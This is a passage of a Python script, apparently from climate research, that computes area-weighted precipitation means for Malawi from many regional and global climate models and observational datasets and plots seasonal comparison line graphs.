weights=NCCSMHIYR_grid_areas) \r\n    NOAAYR_mean = NOAAYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NOAAYR_grid_areas)\r\n    \r\n    CanESM2YR_mean = CanESM2YR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CanESM2YR_grid_areas)   \r\n    CNRMGYR_mean = CNRMGYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CNRMGYR_grid_areas)\r\n    MK3YR_mean = MK3YR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MK3YR_grid_areas)\r\n    EARTHYR_mean = EARTHYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTHYR_grid_areas)  \r\n    EARTH3YR_mean = EARTH3YR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=EARTH3YR_grid_areas)  \r\n    GFDLYR_mean = GFDLYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GFDLYR_grid_areas)\r\n    HadGEM2YR_mean = HadGEM2YR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=HadGEM2YR_grid_areas)\r\n    IPSLGYR_mean = IPSLGYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=IPSLGYR_grid_areas)\r\n    MIROCGYR_mean = MIROCGYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MIROCGYR_grid_areas) \r\n    MPIYR_mean = MPIYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=MPIYR_grid_areas)\r\n    NorESM1YR_mean = NorESM1YR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=NorESM1YR_grid_areas)\r\n   \r\n    CRUEYR_mean = CRUEYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUEYR_grid_areas) \r\n    UDelEYR_mean = UDelEYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelEYR_grid_areas)  \r\n    GPCCEYR_mean = GPCCEYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCEYR_grid_areas) \r\n    CRUYR_mean = CRUYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=CRUYR_grid_areas) \r\n    UDelYR_mean = UDelYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=UDelYR_grid_areas)\r\n    GPCCYR_mean = GPCCYR.collapsed(['latitude', 'longitude'], iris.analysis.MEAN, weights=GPCCYR_grid_areas) \r\n    \r\n    #create averages\r\n    AverageSONEY = (CCCmaSON_mean.data + CLMcomSON_mean.data + DMISON_mean.data + KNMISON_mean.data + MPIESON_mean.data + SMHISON_mean.data)/6.\r\n    AverageDJFEY = (CCCmaDJF_mean.data + CLMcomDJF_mean.data + DMIDJF_mean.data + KNMIDJF_mean.data + MPIEDJF_mean.data + SMHIDJF_mean.data)/6.\r\n    AverageMAMEY = (CCCmaMAM_mean.data + CLMcomMAM_mean.data + DMIMAM_mean.data + KNMIMAM_mean.data + MPIEMAM_mean.data + SMHIMAM_mean.data)/6.\r\n    AverageJJAEY = (CCCmaJJA_mean.data + CLMcomJJA_mean.data + DMIJJA_mean.data + KNMIJJA_mean.data + MPIEJJA_mean.data + SMHIJJA_mean.data)/6.\r\n    AverageEY = (CCCmaYR_mean.data + CLMcomYR_mean.data + DMIYR_mean.data + KNMIYR_mean.data + MPIEYR_mean.data + SMHIYR_mean.data)/6.\r\n    \r\n    AverageSONRY = (CCCmaCanRCMSON_mean.data + CCCmaSMHISON_mean.data + CNRMSON_mean.data + CNRMSMHISON_mean.data + CSIROSON_mean.data + ICHECDMISON_mean.data + ICHECCCLMSON_mean.data + ICHECKNMISON_mean.data + ICHECMPISON_mean.data + ICHECSMHISON_mean.data + IPSLSON_mean.data + MIROCSON_mean.data + MOHCCCLMSON_mean.data + MOHCKNMISON_mean.data + MOHCSMHISON_mean.data + MPICCLMSON_mean.data + MPIREMOSON_mean.data + MPISMHISON_mean.data + NCCDMISON_mean.data + NCCSMHISON_mean.data + NOAASON_mean.data)/21.\r\n    AverageDJFRY = (CCCmaCanRCMDJF_mean.data + CCCmaSMHIDJF_mean.data + CNRMDJF_mean.data + CNRMSMHIDJF_mean.data + CSIRODJF_mean.data + ICHECDMIDJF_mean.data + ICHECCCLMDJF_mean.data + ICHECKNMIDJF_mean.data + ICHECMPIDJF_mean.data + ICHECSMHIDJF_mean.data + IPSLDJF_mean.data + MIROCDJF_mean.data + MOHCCCLMDJF_mean.data + MOHCKNMIDJF_mean.data + MOHCSMHIDJF_mean.data + MPICCLMDJF_mean.data + MPIREMODJF_mean.data + MPISMHIDJF_mean.data + NCCDMIDJF_mean.data + NCCSMHIDJF_mean.data + NOAADJF_mean.data)/21.\r\n    AverageMAMRY = (CCCmaCanRCMMAM_mean.data + CCCmaSMHIMAM_mean.data + CNRMMAM_mean.data + CNRMSMHIMAM_mean.data + CSIROMAM_mean.data + ICHECDMIMAM_mean.data + ICHECCCLMMAM_mean.data + ICHECKNMIMAM_mean.data + ICHECMPIMAM_mean.data + ICHECSMHIMAM_mean.data + IPSLMAM_mean.data + MIROCMAM_mean.data + MOHCCCLMMAM_mean.data + MOHCKNMIMAM_mean.data + MOHCSMHIMAM_mean.data + MPICCLMMAM_mean.data + MPIREMOMAM_mean.data + MPISMHIMAM_mean.data + NCCDMIMAM_mean.data + NCCSMHIMAM_mean.data + NOAAMAM_mean.data)/21.\r\n    AverageJJARY = (CCCmaCanRCMJJA_mean.data + CCCmaSMHIJJA_mean.data + CNRMJJA_mean.data + CNRMSMHIJJA_mean.data + CSIROJJA_mean.data + ICHECDMIJJA_mean.data + ICHECCCLMJJA_mean.data + ICHECKNMIJJA_mean.data + ICHECMPIJJA_mean.data + ICHECSMHIJJA_mean.data + IPSLJJA_mean.data + MIROCJJA_mean.data + MOHCCCLMJJA_mean.data + MOHCKNMIJJA_mean.data + MOHCSMHIJJA_mean.data + MPICCLMJJA_mean.data + MPIREMOJJA_mean.data + MPISMHIJJA_mean.data + NCCDMIJJA_mean.data + NCCSMHIJJA_mean.data + NOAAJJA_mean.data)/21.\r\n    AverageRY = (CCCmaCanRCMYR_mean.data + CCCmaSMHIYR_mean.data + CNRMYR_mean.data + CNRMSMHIYR_mean.data + CSIROYR_mean.data + ICHECDMIYR_mean.data + ICHECCCLMYR_mean.data + ICHECKNMIYR_mean.data + ICHECMPIYR_mean.data + ICHECSMHIYR_mean.data + IPSLYR_mean.data + MIROCYR_mean.data + MOHCCCLMYR_mean.data + MOHCKNMIYR_mean.data + MOHCSMHIYR_mean.data + MPICCLMYR_mean.data + MPIREMOYR_mean.data + MPISMHIYR_mean.data + NCCDMIYR_mean.data + NCCSMHIYR_mean.data + NOAAYR_mean.data)/21.\r\n    \r\n    AverageSONGY = (CanESM2SON_mean.data + CNRMGSON_mean.data + MK3SON_mean.data + EARTHSON_mean.data + EARTH3SON_mean.data + GFDLSON_mean.data + HadGEM2SON_mean.data + IPSLGSON_mean.data + MIROCGSON_mean.data + MPISON_mean.data + NorESM1SON_mean.data)/11.\r\n    AverageDJFGY = (CanESM2DJF_mean.data + CNRMGDJF_mean.data + MK3DJF_mean.data + EARTHDJF_mean.data + EARTH3DJF_mean.data + GFDLDJF_mean.data + HadGEM2DJF_mean.data + IPSLGDJF_mean.data + MIROCGDJF_mean.data + MPIDJF_mean.data + NorESM1DJF_mean.data)/11.\r\n    AverageMAMGY = (CanESM2MAM_mean.data + CNRMGMAM_mean.data + MK3MAM_mean.data + EARTHMAM_mean.data + EARTH3MAM_mean.data + GFDLMAM_mean.data + HadGEM2MAM_mean.data + IPSLGMAM_mean.data + MIROCGMAM_mean.data + MPIMAM_mean.data + NorESM1MAM_mean.data)/11.\r\n    AverageJJAGY = (CanESM2JJA_mean.data + CNRMGJJA_mean.data + MK3JJA_mean.data + EARTHJJA_mean.data + EARTH3JJA_mean.data + GFDLJJA_mean.data + HadGEM2JJA_mean.data + IPSLGJJA_mean.data + MIROCGJJA_mean.data + MPIJJA_mean.data + NorESM1JJA_mean.data)/11.\r\n    AverageGY = (CanESM2YR_mean.data + CNRMGYR_mean.data + MK3YR_mean.data + EARTHYR_mean.data + EARTH3YR_mean.data + GFDLYR_mean.data + HadGEM2YR_mean.data + IPSLGYR_mean.data + MIROCGYR_mean.data + MPIYR_mean.data + NorESM1YR_mean.data)/11.\r\n       \r\n    ObsESONY = (CRUESON_mean.data + UDelESON_mean.data + GPCCESON_mean.data)/3\r\n    ObsEDJFY = (CRUEDJF_mean.data + UDelEDJF_mean.data + GPCCEDJF_mean.data)/3\r\n    ObsEMAMY = (CRUEMAM_mean.data + UDelEMAM_mean.data + GPCCEMAM_mean.data)/3\r\n    ObsEJJAY = (CRUEJJA_mean.data + UDelEJJA_mean.data + GPCCEJJA_mean.data)/3 \r\n    ObsEY = (CRUEYR_mean.data + UDelEYR_mean.data + GPCCEYR_mean.data)/3\r\n    \r\n    ObsSONY = (CRUSON_mean.data + UDelSON_mean.data + GPCCSON_mean.data)/3\r\n    ObsDJFY = (CRUDJF_mean.data + UDelDJF_mean.data + GPCCDJF_mean.data)/3.\r\n    ObsMAMY = (CRUMAM_mean.data + UDelMAM_mean.data + GPCCMAM_mean.data)/3\r\n    ObsJJAY = (CRUJJA_mean.data + UDelJJA_mean.data + GPCCJJA_mean.data)/3    \r\n    ObsY = (CRUYR_mean.data + UDelYR_mean.data + GPCCYR_mean.data)/3\r\n    \r\n    XE = np.array([1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008])\r\n    X = np.array([1961,1962,1963,1964,1965,1966,1967,1968,1969,1970,1971,1972,1973,1974,1975,1976,1977,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005]) \r\n    \r\n    #-------------------------------------------------------------------------\r\n    #PART 4: PLOT LINE GRAPH\r\n    #PART 4A: ERAINT Models Line Graph\r\n    #limit x axis    \r\n    plt.xlim((1990,2008)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(XE,CRUESON_mean.data, lw=1, color='grey')   \r\n    plt.plot(XE,UDelESON_mean.data, lw=1, color='grey')\r\n    plt.plot(XE,GPCCESON_mean.data, lw=1, color='grey') \r\n    plt.fill_between(XE,CRUESON_mean.data,UDelESON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,CRUESON_mean.data,GPCCESON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,GPCCESON_mean.data,UDelESON_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaSON_mean.coord('year'), CCCmaSON_mean, label='CanRCM4_ERAINT', lw=1.5, color='blue')\r\n    qplt.plot(CLMcomSON_mean.coord('year'), CLMcomSON_mean, label='CCLM4-8-17_ERAINT', lw=1.5, color='green')\r\n    qplt.plot(DMISON_mean.coord('year'), DMISON_mean, label='HIRHAM5_ERAINT', lw=1.5, color='red')\r\n    qplt.plot(KNMISON_mean.coord('year'), KNMISON_mean, label='RACMO22T_ERAINT', lw=1.5, color='cyan')\r\n    qplt.plot(MPIESON_mean.coord('year'), MPIESON_mean, label='REMO2009_ERAINT', lw=1.5, color='magenta')\r\n    qplt.plot(SMHISON_mean.coord('year'), SMHISON_mean, label='RCA4_ERAINT', lw=1.5, color='yellow')\r\n    plt.plot(XE, ObsESONY, label='Observed', lw=3, color='black')\r\n    plt.plot(XE, AverageSONEY, label='Average ERAINT', lw=3, color='grey')\r\n        \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n               \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi SON 1990-2008', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_ERAINT_LineGraph_SON', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1990,2008)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(XE,CRUEDJF_mean.data, lw=1, color='grey')   \r\n    plt.plot(XE,UDelEDJF_mean.data, lw=1, color='grey')\r\n    plt.plot(XE,GPCCEDJF_mean.data, lw=1, color='grey') \r\n    plt.fill_between(XE,CRUEDJF_mean.data,UDelEDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,CRUEDJF_mean.data,GPCCEDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,GPCCEDJF_mean.data,UDelEDJF_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaDJF_mean.coord('year'), CCCmaDJF_mean, label='CanRCM4_ERAINT', lw=1.5, color='blue')\r\n    qplt.plot(CLMcomDJF_mean.coord('year'), CLMcomDJF_mean, label='CCLM4-8-17_ERAINT', lw=1.5, color='green')\r\n    qplt.plot(DMIDJF_mean.coord('year'), DMIDJF_mean, label='HIRHAM5_ERAINT', lw=1.5, color='red')\r\n    qplt.plot(KNMIDJF_mean.coord('year'), KNMIDJF_mean, label='RACMO22T_ERAINT', lw=1.5, color='cyan')\r\n    qplt.plot(MPIEDJF_mean.coord('year'), MPIEDJF_mean, label='REMO2009_ERAINT', lw=1.5, color='magenta')\r\n    qplt.plot(SMHIDJF_mean.coord('year'), SMHIDJF_mean, label='RCA4_ERAINT', lw=1.5, color='yellow')\r\n    plt.plot(XE, ObsEDJFY, label='Observed', lw=3, color='black')\r\n    plt.plot(XE, AverageDJFEY, label='Average ERAINT', lw=3, color='grey')\r\n       \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n               \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malaw DJF 1990-2008', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_ERAINT_LineGraph_DJF', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1990,2008)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(XE,CRUEMAM_mean.data, lw=1, color='grey')   \r\n    plt.plot(XE,UDelEMAM_mean.data, lw=1, color='grey')\r\n    plt.plot(XE,GPCCEMAM_mean.data, lw=1, color='grey') \r\n    plt.fill_between(XE,CRUEMAM_mean.data,UDelEMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,CRUEMAM_mean.data,GPCCEMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,GPCCEMAM_mean.data,UDelEMAM_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaMAM_mean.coord('year'), CCCmaMAM_mean, label='CanRCM4_ERAINT', lw=1.5, color='blue')\r\n    qplt.plot(CLMcomMAM_mean.coord('year'), CLMcomMAM_mean, label='CCLM4-8-17_ERAINT', lw=1.5, color='green')\r\n    qplt.plot(DMIMAM_mean.coord('year'), DMIMAM_mean, label='HIRHAM5_ERAINT', lw=1.5, color='red')\r\n    qplt.plot(KNMIMAM_mean.coord('year'), KNMIMAM_mean, label='RACMO22T_ERAINT', lw=1.5, color='cyan')\r\n    qplt.plot(MPIEMAM_mean.coord('year'), MPIEMAM_mean, label='REMO2009_ERAINT', lw=1.5, color='magenta')\r\n    qplt.plot(SMHIMAM_mean.coord('year'), SMHIMAM_mean, label='RCA4_ERAINT', lw=1.5, color='yellow')\r\n    plt.plot(XE, ObsEMAMY, label='Observed', lw=3, color='black')\r\n    plt.plot(XE, AverageMAMEY, label='Average ERAINT', lw=3, color='grey')\r\n        \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')   \r\n               \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malaw MAM 1990-2008', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_ERAINT_LineGraph_MAM', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1990,2008)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(XE,CRUEJJA_mean.data, lw=1, color='grey')   \r\n    plt.plot(XE,UDelEJJA_mean.data, lw=1, color='grey')\r\n    plt.plot(XE,GPCCEJJA_mean.data, lw=1, color='grey') \r\n    plt.fill_between(XE,CRUEJJA_mean.data,UDelEJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,CRUEJJA_mean.data,GPCCEJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,GPCCEJJA_mean.data,UDelEJJA_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaJJA_mean.coord('year'), CCCmaJJA_mean, label='CanRCM4_ERAINT', lw=1.5, color='blue')\r\n    qplt.plot(CLMcomJJA_mean.coord('year'), CLMcomJJA_mean, label='CCLM4-8-17_ERAINT', lw=1.5, color='green')\r\n    qplt.plot(DMIJJA_mean.coord('year'), DMIJJA_mean, label='HIRHAM5_ERAINT', lw=1.5, color='red')\r\n    qplt.plot(KNMIJJA_mean.coord('year'), KNMIJJA_mean, label='RACMO22T_ERAINT', lw=1.5, color='cyan')\r\n    qplt.plot(MPIEJJA_mean.coord('year'), MPIEJJA_mean, label='REMO2009_ERAINT', lw=1.5, color='magenta')\r\n    qplt.plot(SMHIJJA_mean.coord('year'), SMHIJJA_mean, label='RCA4_ERAINT', lw=1.5, color='yellow')\r\n    plt.plot(XE, ObsEJJAY, label='Observed', lw=3, color='black')\r\n    plt.plot(XE, AverageJJAEY, label='Average ERAINT', lw=3, color='grey')\r\n        \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n               \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malaw JJA 1990-2008', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_ERAINT_LineGraph_JJA', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1990,2008)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(XE,CRUEYR_mean.data, lw=1, color='grey')   \r\n    plt.plot(XE,UDelEYR_mean.data, lw=1, color='grey')\r\n    plt.plot(XE,GPCCEYR_mean.data, lw=1, color='grey') \r\n    plt.fill_between(XE,CRUEYR_mean.data,UDelEYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,CRUEYR_mean.data,GPCCEYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(XE,GPCCEYR_mean.data,UDelEYR_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaYR_mean.coord('year'),CCCmaYR_mean, label='CanRCM4_ERAINT', lw=1.5, color='blue')\r\n    qplt.plot(CLMcomYR_mean.coord('year'), CLMcomYR_mean, label='CCLM4-8-17_ERAINT', lw=1.5, color='green')\r\n    qplt.plot(DMIYR_mean.coord('year'), DMIYR_mean, label='HIRHAM5_ERAINT', lw=1.5, color='red')\r\n    qplt.plot(KNMIYR_mean.coord('year'), KNMIYR_mean, label='RACMO22T_ERAINT', lw=1.5, color='cyan')\r\n    qplt.plot(MPIEYR_mean.coord('year'), MPIEYR_mean, label='REMO2009_ERAINT', lw=1.5, color='magenta')\r\n    qplt.plot(SMHIYR_mean.coord('year'), SMHIYR_mean, label='RCA4_ERAINT', lw=1.5, color='yellow')\r\n    plt.plot(XE, ObsEY, label='Observed', lw=3, color='black')\r\n    plt.plot(XE, AverageEY, label='Average ERAINT', lw=3, color='grey')\r\n        \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi 1990-2008', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_ERAINT_LineGraph_Annual', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()   \r\n    \r\n    #PART 4B: Regional Climate Models Line Graph\r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUSON_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelSON_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCSON_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUSON_mean.data,GPCCSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaCanRCMSON_mean.coord('year'), CCCmaCanRCMSON_mean, label='CanRCM4_CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CCCmaSMHISON_mean.coord('year'), CCCmaSMHISON_mean, label='RCA4_CanESM2', lw=1.5, color='green')\r\n    qplt.plot(CNRMSON_mean.coord('year'), CNRMSON_mean, label='CCLM4-8-17_CNRM-CM5', lw=1.5, color='red')\r\n    qplt.plot(CNRMSMHISON_mean.coord('year'), CNRMSMHISON_mean, label='RCA4_CNRM-CM5', lw=1.5, color='cyan')\r\n    qplt.plot(CSIROSON_mean.coord('year'), CSIROSON_mean, label='RCA4_CSIRO-MK3', lw=1.5, color='magenta')\r\n    qplt.plot(ICHECDMISON_mean.coord('year'), ICHECDMISON_mean, label='HIRHAM5_EC-EARTH', lw=1.5, color='yellow')\r\n    qplt.plot(ICHECCCLMSON_mean.coord('year'), ICHECCCLMSON_mean, label='CCLM4-8-17_EC-EARTH ', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(ICHECKNMISON_mean.coord('year'), ICHECKNMISON_mean, label='RACMO22T_EC-EARTH', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(ICHECMPISON_mean.coord('year'), ICHECMPISON_mean, label='REMO2009_EC-EARTH ', lw=1.5, color='red', linestyle='--') \r\n    qplt.plot(ICHECSMHISON_mean.coord('year'), ICHECSMHISON_mean, label='RCA4_EC-EARTH', lw=1.5, color='cyan', linestyle='--') \r\n    qplt.plot(IPSLSON_mean.coord('year'), IPSLSON_mean, label='RCA4_IPSL-CM5A-MR', lw=1.5, color='magenta', linestyle='--') \r\n    qplt.plot(MIROCSON_mean.coord('year'), MIROCSON_mean, label='RCA4_MIROC5', lw=1.5, color='yellow', linestyle='--')\r\n    qplt.plot(MOHCCCLMSON_mean.coord('year'), MOHCCCLMSON_mean, label='CCLM4-8-17_HadGEM2-ES', lw=1.5, color='blue', linestyle='-.')\r\n    qplt.plot(MOHCKNMISON_mean.coord('year'), MOHCKNMISON_mean, label='RACMO22T_HadGEM2-ES', lw=1.5, color='green', linestyle='-.')\r\n    qplt.plot(MOHCSMHISON_mean.coord('year'), MOHCSMHISON_mean, label='RCA4_HadGEM2-ES', lw=1.5, color='red', linestyle='-.')\r\n    qplt.plot(MPICCLMSON_mean.coord('year'), MPICCLMSON_mean, label='CCLM4-8-17_MPI-ESM-LR', lw=1.5, color='cyan', linestyle='-.')\r\n    qplt.plot(MPIREMOSON_mean.coord('year'), MPIREMOSON_mean, label='REMO2009_MPI-ESM-LR ', lw=1.5, color='magenta', linestyle='-.')\r\n    qplt.plot(MPISMHISON_mean.coord('year'), MPISMHISON_mean, label='RCA4_MPI-ESM-LR ', lw=1.5, color='yellow', linestyle='-.')\r\n    qplt.plot(NCCDMISON_mean.coord('year'), NCCDMISON_mean, label='HIRHAM5_NorESM1-M', lw=1.5, color='blue', linestyle=':')\r\n    qplt.plot(NCCSMHISON_mean.coord('year'), NCCSMHISON_mean, label='RCA4_NorESM1-M', lw=1.5, color='green', linestyle=':')\r\n    qplt.plot(NOAASON_mean.coord('year'), NOAASON_mean, label='RCA4_GFDL-ESM2M', lw=1.5, color='red', linestyle=':') \r\n    plt.plot(X, ObsSONY, label='Observed', lw=3, color='black')\r\n    plt.plot(X, AverageSONRY, label='Average RCM', lw=3, color='grey')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=2)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi SON 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_RCM_LineGraph_SON', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUDJF_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelDJF_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCDJF_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUDJF_mean.data,GPCCDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    qplt.plot(CCCmaCanRCMDJF_mean.coord('year'), CCCmaCanRCMDJF_mean, label='CanRCM4_CanESM2', lw=1.5, color='blue')\r\n    qplt.plot(CCCmaSMHIDJF_mean.coord('year'), CCCmaSMHIDJF_mean, label='RCA4_CanESM2', lw=1.5, color='green')\r\n    qplt.plot(CNRMDJF_mean.coord('year'), CNRMDJF_mean, label='CCLM4-8-17_CNRM-CM5', lw=1.5, color='red')\r\n    qplt.plot(CNRMSMHIDJF_mean.coord('year'), CNRMSMHIDJF_mean, label='RCA4_CNRM-CM5', lw=1.5, color='cyan')\r\n    qplt.plot(CSIRODJF_mean.coord('year'), CSIRODJF_mean, label='RCA4_CSIRO-MK3', lw=1.5, color='magenta')\r\n    qplt.plot(ICHECDMIDJF_mean.coord('year'), ICHECDMIDJF_mean, label='HIRHAM5_EC-EARTH', lw=1.5, color='yellow')\r\n    qplt.plot(ICHECCCLMDJF_mean.coord('year'), ICHECCCLMDJF_mean, label='CCLM4-8-17_EC-EARTH ', lw=1.5, color='blue', linestyle='--')\r\n    qplt.plot(ICHECKNMIDJF_mean.coord('year'), ICHECKNMIDJF_mean, label='RACMO22T_EC-EARTH', lw=1.5, color='green', linestyle='--')\r\n    qplt.plot(ICHECMPIDJF_mean.coord('year'), ICHECMPIDJF_mean, label='REMO2009_EC-EARTH ', lw=1.5, color='red', linestyle='--') \r\n    qplt.plot(ICHECSMHIDJF_mean.coord('year'), ICHECSMHIDJF_mean, label='RCA4_EC-EARTH', lw=1.5, color='cyan', linestyle='--') \r\n    qplt.plot(IPSLDJF_mean.coord('year'), IPSLDJF_mean, label='RCA4_IPSL-CM5A-MR', lw=1.5, color='magenta', linestyle='--') \r\n    qplt.plot(MIROCDJF_mean.coord('year'), MIROCDJF_mean, label='RCA4_MIROC5', lw=1.5, color='yellow', linestyle='--')\r\n    qplt.plot(MOHCCCLMDJF_mean.coord('year'), MOHCCCLMDJF_mean, label='CCLM4-8-17_HadGEM2-ES', lw=1.5, color='blue', linestyle='-.')\r\n    qplt.plot(MOHCKNMIDJF_mean.coord('year'), MOHCKNMIDJF_mean, label='RACMO22T_HadGEM2-ES', lw=1.5, color='green', linestyle='-.')\r\n    qplt.plot(MOHCSMHIDJF_mean.coord('year'), MOHCSMHIDJF_mean, label='RCA4_HadGEM2-ES', lw=1.5, color='red', linestyle='-.')\r\n    qplt.plot(MPICCLMDJF_mean.coord('year'), MPICCLMDJF_mean, label='CCLM4-8-17_MPI-ESM-LR', lw=1.5, color='cyan', linestyle='-.')\r\n    qplt.plot(MPIREMODJF_mean.coord('year'), MPIREMODJF_mean, label='REMO2009_MPI-ESM-LR ', lw=1.5, color='magenta', linestyle='-.')\r\n    qplt.plot(MPISMHIDJF_mean.coord('year'), MPISMHIDJF_mean, label='RCA4_MPI-ESM-LR ', lw=1.5, color='yellow', linestyle='-.')\r\n    qplt.plot(NCCDMIDJF_mean.coord('year'), NCCDMIDJF_mean, label='HIRHAM5_NorESM1-M', lw=1.5, color='blue', linestyle=':')\r\n    qplt.plot(NCCSMHIDJF_mean.coord('year'), NCCSMHIDJF_mean, label='RCA4_NorESM1-M', lw=1.5, color='green', linestyle=':')\r\n    qplt.plot(NOAADJF_mean.coord('year'), 